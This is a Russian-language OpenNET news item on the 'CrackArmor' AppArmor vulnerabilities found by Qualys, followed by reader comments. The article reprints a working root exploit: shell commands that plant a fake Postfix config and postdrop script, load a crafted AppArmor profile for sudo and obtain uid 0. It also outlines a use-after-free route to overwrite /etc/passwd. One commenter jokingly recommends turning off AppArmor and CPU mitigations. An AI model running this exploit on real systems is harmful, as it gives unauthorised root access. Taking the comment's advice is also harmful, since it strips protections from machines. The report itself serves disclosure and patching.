The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимости в AppArmor, позволяющие получить root-доступ в системе

13.03.2026 12:56 (MSK)

Компания Qualys выявила 9 уязвимостей в системе мандатного управления доступом AppArmor, наиболее опасные из которых позволяют локальному непривилегированному пользователю получить права root в системе, выйти из изолированных контейнеров и обойти ограничения, заданные через AppArmor. Уязвимости получили кодовое имя CrackArmor. CVE-идентификаторы пока не назначены. Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13.

Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки.

Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля "userns", например, для /usr/bin/time, позволяющего создавать неограниченные user namespace).

Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с настройками для почтового сервера Postfix.

Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.


   $ mkdir /tmp/postfix

   $ cat > /tmp/postfix/main.cf << "EOF"
   command_directory = /tmp/postfix
   EOF

   $ cat > /tmp/postfix/postdrop << "EOF"
   #!/bin/sh
   /usr/bin/id >> /tmp/postfix/pwned
   EOF

   $ chmod -R 0755 /tmp/postfix

   $ apparmor_parser -K -o sudo.pf << "EOF"
   /usr/bin/sudo {
     allow file,
     allow signal,
     allow network,
     allow capability,
     deny capability setuid,
   }
   EOF

  $ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
   Password: 

  $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever

   sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
   sudo: unable to open /etc/sudoers: Operation not permitted
   sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
   sudo: error initializing audit plugin sudoers_audit

   $ cat /tmp/postfix/pwned
   uid=0(root) gid=1001(jane) groups=1001(jane),100(users)

В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.

  1. Главная ссылка к новости (https://blog.qualys.com/vulner...)
  2. OpenNews: AppArmor и Yama будут включены в Linux-ядро 2.6.36
  3. OpenNews: Root-уязвимость в инструментарии управления пакетами Snap
  4. OpenNews: Уязвимости в PAM и libblockdev, позволяющие получить права root в системе
  5. OpenNews: Уязвимость в Glibc ld.so, позволяющая получить права root в большинстве дистрибутивов Linux
  6. OpenNews: Выявлена возможность обхода ограничений доступа к "user namespace" в Ubuntu
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/64984-apparmor
Ключевые слова: apparmor
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (44) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.4, Аноним (4), 13:53, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Фикс для бубунты:
    $ onano /etc/default/grub
    > GRUB_CMDLINE_LINUX_DEFAULT="quiet splash loglevel=0 apparmor=0 mitigations=off"

    $ update-grub

     
     
  • 2.5, openssh_user (ok), 14:13, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +8 +/
    Нет apparmor - нет проблем?
     
     
  • 3.11, АнонимЯ (?), 14:19, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Ага, метод от девляпсов, судя по всему.
     
  • 3.62, kravich (ok), 16:05, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    И чертов SELinux туда же заберите
     
  • 2.25, Аноним (25), 14:44, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > mitigations=off

    Зачем отключать ещё и защиту от Meltdown и Spectre (спекулятивных CPU уязвимостей)?

     
     
  • 3.34, нах. (?), 14:59, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    затем что она примерно так же на#р не нужна как и апармор.

     
  • 3.49, Аноним (49), 15:36, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Он про домашние десктопы. Там оно не нужно. На серверах - дело твое уже (я бы не отключал).
     
     
  • 4.56, Аноним (25), 15:45, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    И из вкладки с мемами javascript пробивает защиту ОС насквозь. Хорошо, что для браузеров нету mitigations=off.
     
  • 2.67, Аноним (67), 17:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    А mitigations=off как от этого защитит (открыв другие ворота)?
     

  • 1.7, Аноним (7), 14:15, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    > Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11

    Не зря люди на 3.* ядре сидят.

     
     
  • 2.9, Аноним (9), 14:17, 13/03/2026 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
  • 2.24, онанист (?), 14:42, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    зря
    2.6 рулит
     
  • 2.65, Аноним (65), 16:33, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    >Может там СИшка другая?
    >Или диды в те времена не овнокодили?

    2017 Год - это не диды, это ты!

     

  • 1.14, Аноним (14), 14:22, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu.
    > В Debian обновление в процессе подготовки

    Никогда такого не было и вот опять.
    Дебианцам же торопиться некуда. Сегодня уже пятница, потом выходные, кто же на выходных патчи будет принимать.

     
     
  • 2.16, Аноним (16), 14:30, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Так на дебиане же по-умолчанию apparmor отключён )
     
     
  • 3.19, Аноним (19), 14:34, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Так на дебиане же по-умолчанию apparmor отключён )

    Вы уверены? Может вы совсем недавно из криокамеры вышли?

    AppArmor is available in Debian since Debian 7 "Wheezy".
    If you are using Debian 10 "Buster" or newer, AppArmor is enabled by default

    wiki.debian.org/AppArmor/HowToUse

     
     
  • 4.36, Аноним (25), 15:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Я тоже из криокамеры, к синтаксису nftables так и не привыкла.
     
     
  • 5.38, Аноним (25), 15:01, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    И к ip вместо ifconfig
     

  • 1.17, Аноним (17), 14:33, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Господи, здесь прекрасно абсолютно все и sudo, шлющий эмейлы, и sendmail, запус... большой текст свёрнут, показать
     
     
  • 2.20, онанист (?), 14:35, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Сколько не говорят, что поверхность атаки нужно УМЕНЬШАТЬ, а не наоборот - все бестолку

    кто говорит? наоброт обязательно антивирус и тп

     
  • 2.23, Аноним (-), 14:42, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Ты просто ничего не понимаешь! Это же (xy)UNIХ-way!

    Диды писали, диды старались, ты такой неблагодарный на них бочку гонишь...
    А ну быстра извынысь!

     
  • 2.26, Аноним (25), 14:45, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Советую почитать классику UNIX HATERS HANDBOOK. Там и про sendmail есть!
     
     
  • 3.37, нах. (?), 15:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    советую поставить наконец любимую винду и отвалить от юнисов.
    Это не ваше. И не читайте всякое враньше неосиляторов.

    Кстати, в ТОМ sendmail - этой уязвимости нет.

     
     
  • 4.47, Аноним (47), 15:31, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    А можно вы со своими юниксами уже отвалите от линукса. Ведь он ГНУ, что расшифровывается как ГНУ НОТ! Юникс.

    У вас есть ваши либимые юниксы в виде макоси и бсд. Вот там и городите свои костыли.

     
     
  • 5.50, Аноним (25), 15:36, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Not Unix, but Unix-like.
     
  • 5.53, Аноним (53), 15:42, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > А можно вы со своими юниксами уже отвалите от линукса. Ведь он ГНУ, что расшифровывается как ГНУ НОТ! Юникс.

    А когда это линукс стал ГНУ?
    Торвальдс сам говорил, что ни к ГНУ, ни к ФСФ, ни к бороде его проект отношения не имеет.

    > У вас есть ваши либимые юниксы в виде макоси и бсд. Вот там и городите свои костыли.

    Погоди.
    Если в линуксе не нужно, то зачем пuнгвинятники тащат чужие изобретения к себе?
    Часом не по причине скудоyмия и кpивых pук?

     
     
  • 6.55, Аноним (25), 15:43, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Когда под линуксом стали понимать не только ядро, но и ОС с gnu coreutils.
     
     
  • 7.59, Аноним (59), 15:52, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Когда под линуксом стали понимать не только ядро, но и ОС с gnu coreutils.

    Кто стал))?
    Что busybox уже пропал?

    Linux это не GNU.
    lkml.org/lkml/2006/9/25/161
    "the fact that rms and the FSF has tried to paint Linux as a GNU project (going as far as trying to rename it "GNU/Linux" at every opportunity they get) is their confusion, not ours."


     
     
  • 8.61, Аноним (25), 16:00, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Да тот же Debian GNU Linux ... текст свёрнут, показать
     
     
  • 9.63, Аноним (63), 16:06, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Торвальдс пишет Linux не GNU А наpkоманы из деба - пишут что GNU Кому же ве... текст свёрнут, показать
     
     
  • 10.64, Аноним (25), 16:12, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Обоим - квантовая суперпозиция Guix ещё ... текст свёрнут, показать
     
  • 2.31, нах. (?), 14:55, 13/03/2026 Скрыто ботом-модератором     [к модератору]
  • +3 +/
     
  • 2.68, Сладкая булочка (?), 17:04, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > прочих файрджейлов

    Он использует механизмы ядра и тут причем?

     

  • 1.22, Аноним (16), 14:40, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Если sudo на дебиане нет - получается уязвимость не сработает ?
     
     
  • 2.27, Аноним (25), 14:46, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и **util-linux (в состав входит утилита su)**
     
  • 2.30, Аноним (30), 14:52, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    > Если sudo на дебиане нет - получается уязвимость не сработает ?

    А новость вы не пробовали читать?
    "Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13"

    Значит и без sudo работает.

     

  • 1.42, Сладкая булочка (?), 15:18, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    AppArmor используется в snap. Вот и думайте.
     
     
  • 2.44, Аноним (25), 15:22, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Думаю и использую flatpak.
     
  • 2.45, Аноним (45), 15:25, 13/03/2026 [^] [^^] [^^^] [ответить]  
  • +/
    Но используется и отдельно.
    Какой вывод может быть сделан?
    1. аппармор оказался овнокодом
    2. дырени типичные
    3. создателю snapʼа нужно тщательнее выбирать, что использовать в проекте
     

  • 1.43, Аноним (-), 15:19, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free)

    "если использовать язык программирования, с которым не надо тщательно обдумывать каждую строку, то можно знатно нафакапить" (c)

    Они использовали.
    И нафаkапили.

     
  • 1.58, Аноним (58), 15:49, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Разве профили app_armor в ядро не от рута загружаются?
     
  • 1.60, Аноним (58), 15:57, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    apparmor давно превратился в сгнившее дерьмо В смысле что дока на него неполная... большой текст свёрнут, показать
     
  • 1.66, Аноним (66), 16:59, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    "уязвимость эскалации привилегий требующая ввода пароля рута"
    очень боюсь сейчас взломают
     
  • 1.69, Сладкая булочка (?), 17:05, 13/03/2026 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor.

    Запретить непривилегированным пользователям это делать и все? В чем проблема?

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2026 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру